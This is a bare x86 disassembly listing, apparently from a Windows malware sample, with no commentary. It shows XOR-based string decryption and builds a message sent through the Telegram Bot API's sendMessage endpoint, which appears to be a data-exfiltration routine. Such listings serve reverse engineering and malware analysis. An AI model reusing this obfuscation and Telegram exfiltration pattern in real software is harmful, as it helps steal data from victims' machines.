mov esi, dword [0x90305c]
test esi, esi
js 0x419692
mov ebx, dword [0x903058]
je 0x418c60
movzx eax, byte [0x90320d]
xor ecx, ecx
mov edx, esi
call fcn.0049d570
test eax, eax
je 0x419692
mov edi, eax
jmp 0x418c65
mov edi, 1
push esi
push ebx
push edi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
lea eax, [0x8a1801]
mov dword [esp + 0x3b8], esi
mov dword [esp + 0x3bc], edi
mov dword [esp + 0x3c0], esi
mov dword [esp + 0x30], eax
lea eax, [esp + 0x30]
lea eax, [esp + 0x30]
mov ecx, dword [esp + 0x30]
mov dword [esp + 0x30], 0xf216b007
mov edx, dword [esp + 0x30]
call fcn.0040b0f0
mov ecx, 0x799d03bc
mov edx, 0xe4b70669
xor ecx, dword [eax]
xor edx, dword [eax + 4]
movzx eax, word [eax + 8]
xor al, 0xd4
xor ah, 0xae
mov dword [esp + 0x3c4], ecx
mov dword [esp + 0x3c8], edx
mov byte [esp + 0x3cc], al
mov byte [esp + 0x3cd], ah
lea eax, [esp + 0x3c4]
mov dword [esp + 0x4a0], eax
mov dword [esp + 0x4a4], 0xa
mov eax, dword [0x903064]
cmp eax, 2
jne 0x419656
mov esi, dword [0x903070]
test esi, esi
js 0x419692
mov ebx, dword [0x90306c]
je 0x418d39
movzx eax, byte [0x90320d]
xor ecx, ecx
mov edx, esi
call fcn.0049d570
test eax, eax
je 0x419692
mov edi, eax
jmp 0x418d3e
mov edi, 1
push esi
push ebx
push edi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
lea eax, [0x8a1a67]
mov dword [esp + 0x3d0], esi
mov dword [esp + 0x3d4], edi
mov dword [esp + 0x3d8], esi
mov dword [esp + 0x30], eax
lea eax, [esp + 0x30]
lea eax, [esp + 0x30]
mov ecx, dword [esp + 0x30]
mov dword [esp + 0x30], 0x4ab1824b
mov edx, dword [esp + 0x30]
call fcn.0040af70
mov ecx, 0x46ab088c
mov edx, 0xd0e9f171
mov esi, 0x36336452
mov edi, 0xd9828ce
xor ecx, dword [eax]
xor edx, dword [eax + 4]
xor esi, dword [eax + 8]
xor edi, dword [eax + 0xc]
lea eax, [esp + 0x3dc]
mov dword [esp + 0x4a8], eax
mov dword [esp + 0x4ac], 0x10
mov dword [esp + 0x3dc], ecx
mov dword [esp + 0x3e0], edx
mov dword [esp + 0x3e4], esi
mov dword [esp + 0x3e8], edi
mov eax, dword [0x903078]
cmp eax, 2
jne 0x419675
mov esi, dword [0x903084]
test esi, esi
js 0x419692
mov ebx, dword [0x903080]
je 0x418e19
movzx eax, byte [0x90320d]
xor ecx, ecx
mov edx, esi
call fcn.0049d570
test eax, eax
je 0x419692
mov edi, eax
jmp 0x418e1e
mov edi, 1
push esi
push ebx
push edi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
lea eax, [0x8a5bc9]
mov dword [esp + 0x3ec], esi
mov dword [esp + 0x3f0], edi
mov dword [esp + 0x3f4], esi
mov dword [esp + 0x30], eax
lea eax, [esp + 0x30]
lea eax, [esp + 0x30]
mov ecx, dword [esp + 0x30]
mov dword [esp + 0x30], 0x63c67c4f
mov edx, dword [esp + 0x30]
call fcn.0040b140
mov ecx, 0x35ea0325
mov edx, 0xc45da5a2
mov esi, 0x6dd26716
xor ecx, dword [eax]
xor edx, dword [eax + 4]
xor esi, dword [eax + 8]
movzx ebx, byte [eax + 0xe]
movzx eax, word [eax + 0xc]
xor al, 0x4e
xor ah, 0x46
mov dword [esp + 0x408], ecx
mov dword [esp + 0x40c], edx
mov dword [esp + 0x410], esi
mov byte [esp + 0x414], al
xor bl, 0x26
lea esi, [esp + 0x30]
mov byte [esp + 0x415], ah
lea eax, [esp + 0x408]
mov byte [esp + 0x416], bl
mov dword [esp + 0x4b0], eax
lea eax, [0x8a4d29]
mov dword [esp + 0x4b4], 0xf
mov dword [esp + 0x30], eax
lea eax, [esp + 0x30]
mov ecx, dword [esp + 0x30]
mov dword [esp + 0x30], 0xf8bd33f7
mov edx, dword [esp + 0x30]
call fcn.0040aff0
pxor xmm0, xmm0
mov ecx, 0xfffffffc
mov dword [esp + 0x78], 0
movq qword [esp + 0x70], xmm0
pxor xmm0, xmm0
movdqa xmmword [esp + 0x60], xmm0
movdqa xmmword [esp + 0x50], xmm0
movdqa xmmword [esp + 0x40], xmm0
movdqa xmmword [esp + 0x30], xmm0
nop dword [eax]
mov edx, dword [ecx + 0x8a97c3]
xor edx, dword [eax + ecx + 4]
mov dword [esp + ecx + 0x34], edx
add ecx, 4
cmp ecx, 0x48
jb 0x418f30
movzx eax, word [eax + 0x4c]
lea ecx, [esp + 0x460]
lea edx, [esp + 0x160]
lea edi, [esp + 0x114]
mov dword [esp + 0x114], 0x8a9810
mov dword [esp + 0x118], 0x19
mov dword [esp + 0x124], 0
mov dword [esp + 0x11c], esi
mov dword [esp + 0x120], 0x19
xor al, 0xbb
xor ah, 0x2e
mov byte [esp + 0x7c], al
mov byte [esp + 0x7d], ah
lea eax, [esp + 0x290]
movaps xmm1, xmmword [esp + 0x40]
movaps xmm2, xmmword [esp + 0x50]
mov dword [esp + 0x4b8], eax
lea eax, [esp + 0x450]
movaps xmm0, xmmword [esp + 0x30]
mov dword [esp + 0x4bc], 0x4e
mov dword [esp + 0x30], eax
lea eax, [esp + 0x458]
movaps xmmword [esp + 0x2a0], xmm1
movaps xmm1, xmmword [esp + 0x60]
movaps xmmword [esp + 0x2b0], xmm2
movsd xmm2, qword [esp + 0x70]
movaps xmmword [esp + 0x290], xmm0
movaps xmmword [esp + 0x2c0], xmm1
movsd xmm1, qword [esp + 0x76]
mov dword [esp + 0x34], 0x4055f0
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], 0x4055f0
mov dword [esp + 0x40], ecx
lea ecx, [esp + 0x468]
mov dword [esp + 0x44], 0x4055f0
mov dword [esp + 0x48], edx
mov dword [esp + 0x4c], 0x40df90
lea edx, [esp + 0x448]
movsd qword [esp + 0x2d0], xmm2
mov dword [esp + 0x50], ecx
lea ecx, [esp + 0x470]
mov dword [esp + 0x54], 0x4055f0
mov dword [esp + 0x58], edx
mov dword [esp + 0x5c], 0x4055f0
lea edx, [esp + 0x1b0]
mov dword [esp + 0x60], ecx
lea ecx, [esp + 0x478]
mov dword [esp + 0x64], 0x4055f0
mov dword [esp + 0x68], edx
mov dword [esp + 0x6c], 0x40a570
lea edx, [esp + 0x368]
mov dword [esp + 0x70], ecx
lea ecx, [esp + 0x480]
mov dword [esp + 0x74], 0x4055f0
mov dword [esp + 0x78], edx
mov dword [esp + 0x7c], 0x40a570
lea edx, [esp + 0x358]
mov dword [esp + 0x80], ecx
lea ecx, [esp + 0x488]
mov dword [esp + 0x84], 0x4055f0
mov dword [esp + 0x88], edx
mov dword [esp + 0x8c], 0x40a570
lea edx, [esp + 0x430]
movsd qword [esp + 0x2d6], xmm1
mov dword [esp + 0x90], ecx
lea ecx, [esp + 0x490]
mov dword [esp + 0x94], 0x4055f0
mov dword [esp + 0x98], edx
mov dword [esp + 0x9c], 0x4055f0
lea edx, [esp + 0x438]
mov dword [esp + 0xa0], ecx
lea ecx, [esp + 0x498]
mov dword [esp + 0xa4], 0x4055f0
mov dword [esp + 0xa8], edx
mov dword [esp + 0xac], 0x4055f0
lea edx, [esp + 0x3b8]
mov dword [esp + 0xb0], ecx
lea ecx, [esp + 0x4a0]
mov dword [esp + 0xb4], 0x4055f0
mov dword [esp + 0xb8], edx
mov dword [esp + 0xbc], 0x40a570
lea edx, [esp + 0x3d0]
mov dword [esp + 0xc0], ecx
lea ecx, [esp + 0x4a8]
mov dword [esp + 0xc4], 0x4055f0
mov dword [esp + 0xc8], edx
mov dword [esp + 0xcc], 0x40a570
lea edx, [esp + 0x3ec]
mov dword [esp + 0xd0], ecx
lea ecx, [esp + 0x4b0]
mov dword [esp + 0xd4], 0x4055f0
mov dword [esp + 0xd8], edx
mov dword [esp + 0xdc], 0x40a570
lea edx, [esp + 0x440]
mov dword [esp + 0xe0], ecx
lea ecx, [esp + 0x4b8]
mov dword [esp + 0xe4], 0x4055f0
mov dword [esp + 0xe8], edx
mov dword [esp + 0xec], 0x4055f0
mov edx, edi
mov dword [esp + 0xf0], ecx
lea ecx, [esp + 0x4c0]
mov dword [esp + 0xf4], 0x4055f0
call fcn.0041bf90
cmp dword [esp + 0x3ec], 0
je 0x41925e
push dword [esp + 0x3f0]
push 0
push dword [0x903200]
call dword [sym.imp.kernel32.dll_HeapFree]
cmp dword [esp + 0x3d0], 0
je 0x41927d
push dword [esp + 0x3d4]
push 0
push dword [0x903200]
call dword [sym.imp.kernel32.dll_HeapFree]
cmp dword [esp + 0x3b8], 0
je 0x41929c
push dword [esp + 0x3bc]
push 0
push dword [0x903200]
call dword [sym.imp.kernel32.dll_HeapFree]
test dword [esp + 0x16c], 0x7fffffff
je 0x4192be
push dword [esp + 0x170]
push 0
push dword [0x903200]
call dword [sym.imp.kernel32.dll_HeapFree]
mov eax, dword [esp + 0x4c0]
mov edx, dword [esp + 0x4c4]
mov esi, dword [esp + 0x4c8]
mov dword [esp + 4], eax
mov eax, dword [section..data]
cmp eax, 2
jne 0x419694
mov eax, dword [0x903008]
mov ecx, dword [0x90300c]
mov dword [esp + 0x114], eax
mov dword [esp + 0x118], ecx
mov eax, dword [0x903014]
cmp eax, 2
jne 0x4196ac
mov eax, dword [0x90301c]
mov ecx, dword [0x903020]
lea ebx, [esp + 0x1d0]
mov dword [esp + 8], edx
mov dword [esp + 0xf8], eax
mov dword [esp + 0xfc], ecx
mov ecx, ebx
push 3
push str._0Ahttps:__api.telegram.org_bot_sendMessage_chat_idtextparse_modeMarkdown
push 1
push 0x8ec0b3
push esi
call fcn.00408900
add esp, 0x14
lea ecx, [esp + 0x30]
mov dword [esp + 0x290], 0x8a9720
mov dword [esp + 0x294], 4
mov dword [esp + 0x2a0], 0
lea eax, [esp + 0xf8]
lea edx, [esp + 0x290]
mov dword [esp + 0x30], edi
mov dword [esp + 0x34], 0x4055f0
mov dword [esp + 0x298], ecx
lea ecx, [esp + 0x160]
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], 0x4055f0
mov dword [esp + 0x40], ebx
mov dword [esp + 0x44], 0x40a570
mov dword [esp + 0x29c], 3
call fcn.0041bf90
cmp dword [esp + 0x1d0], 0
je 0x4193dd
push dword [esp + 0x1d4]
push 0
push dword [0x903200]
call dword [sym.imp.kernel32.dll_HeapFree]
mov esi, dword [esp + 0x164]
mov edi, dword [esp + 0x160]
lea ebx, [esp + 0x290]
mov ecx, ebx
mov edx, esi
push dword [esp + 0x168]
call fcn.004c7830
add esp, 4
lea ecx, [esp + 0x30]
mov edx, ebx
call fcn.004ae1d0
cmp dword [esp + 0x30], 3
jne 0x419455
push 0xc0
lea eax, [esp + 0x38]
push eax
push ebx
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
cmp dword [esp + 0x290], 2
je 0x41945e
lea ecx, [esp + 0x290]
call fcn.00406b50
mov byte [esp + 0x148], 4
test edi, edi
jne 0x41952b
jmp 0x41953a
lea ecx, [esp + 0x30]
call fcn.00406560
lea eax, [0x8a3bc5]
mov dword [esp + 0x30], eax
lea eax, [esp + 0x30]
lea eax, [esp + 0x30]
mov ecx, dword [esp + 0x30]
mov dword [esp + 0x30], 0xe1db6b0d
mov edx, dword [esp + 0x30]
call fcn.0040b470
mov ecx, 0x179e1c4c
mov ebx, 0x26e53148
mov edx, 0xd301b083
xor ecx, dword [eax]
mov dword [esp + 0x18], ecx
mov ecx, 0x56e93ea7
xor ecx, dword [eax + 4]
mov dword [esp + 0x14], ecx
mov ecx, 0x56812119
xor ecx, dword [eax + 8]
mov dword [esp + 0x28], ecx
mov ecx, 0x4725e36b
xor ebx, dword [eax + 0xc]
mov dword [esp + 0xc], edi
mov edi, 0x994254ee
xor edi, dword [eax + 0x10]
mov dword [esp + 0x1c], esi
mov esi, 0xa8205d21
xor esi, dword [eax + 0x14]
xor edx, dword [eax + 0x18]
xor ecx, dword [eax + 0x1c]
mov eax, dword [esp + 0x18]
mov dword [esp + 0x30], eax
mov eax, dword [esp + 0x14]
mov dword [esp + 0x34], eax
mov eax, dword [esp + 0x28]
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x40], edi
mov dword [esp + 0x44], esi
mov edi, dword [esp + 0xc]
mov esi, dword [esp + 0x1c]
mov dword [esp + 0x48], edx
mov dword [esp + 0x4c], ecx
lea ecx, [esp + 0x148]
mov edx, 0x27
push 0x20
lea eax, [esp + 0x34]
push eax
call fcn.00403dc0
add esp, 8
test edi, edi
je 0x41953a
push esi
push 0
push dword [0x903200]
call dword [sym.imp.kernel32.dll_HeapFree]
movzx eax, byte [esp + 0x148]
cmp al, 4
jne 0x41955e
mov eax, dword [esp + 0x1c8]
cmp dword [esp + 4], 0
mov byte [eax], 4
mov eax, dword [esp + 8]
je 0x419594
push eax
jmp 0x419586
cmp dword [esp + 4], 0
mov ecx, dword [esp + 0x149]
mov edx, dword [esp + 0x14c]
mov esi, dword [esp + 0x1c8]
mov dword [esi + 4], edx
mov dword [esi + 1], ecx
mov byte [esi], al
je 0x419594
push dword [esp + 8]
push 0
push dword [0x903200]
call dword [sym.imp.kernel32.dll_HeapFree]
cmp dword [esp + 0x368], 0
je 0x4195b3
push dword [esp + 0x36c]
push 0
push dword [0x903200]
call dword [sym.imp.kernel32.dll_HeapFree]
cmp dword [esp + 0x1b0], 0
je 0x4195d2
push dword [esp + 0x1b4]
push 0
push dword [0x903200]
call dword [sym.imp.kernel32.dll_HeapFree]
cmp dword [esp + 0x358], 0
je 0x4195f1
push dword [esp + 0x35c]
push 0
push dword [0x903200]
call dword [sym.imp.kernel32.dll_HeapFree]
cmp dword [esp + 0x13c], 0
je 0x419610
push dword [esp + 0x140]
push 0
push dword [0x903200]
call dword [sym.imp.kernel32.dll_HeapFree]
cmp dword [esp + 0x1a0], 0
je 0x41962f
push dword [esp + 0x1a4]
push 0
push dword [0x903200]
call dword [sym.imp.kernel32.dll_HeapFree]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov ecx, 0x903050
mov edx, 0x903050
call fcn.004ef6b0
mov esi, dword [0x90305c]
test esi, esi
jns 0x418c3c
jmp 0x419692
mov ecx, 0x903064
mov edx, 0x903064
call fcn.004ef6b0
mov esi, dword [0x903070]
test esi, esi
jns 0x418d15
jmp 0x419692
mov ecx, 0x903078
mov edx, 0x903078
call fcn.004ef6b0
mov esi, dword [0x903084]
test esi, esi
jns 0x418df5
ud2
mov ebx, edx
mov ecx, section..data
mov edx, section..data
call fcn.004ef6b0
mov edx, ebx
jmp 0x4192e5
mov ebx, edx
mov ecx, 0x903014
mov edx, 0x903014
call fcn.004ef6b0
mov edx, ebx
jmp 0x41930c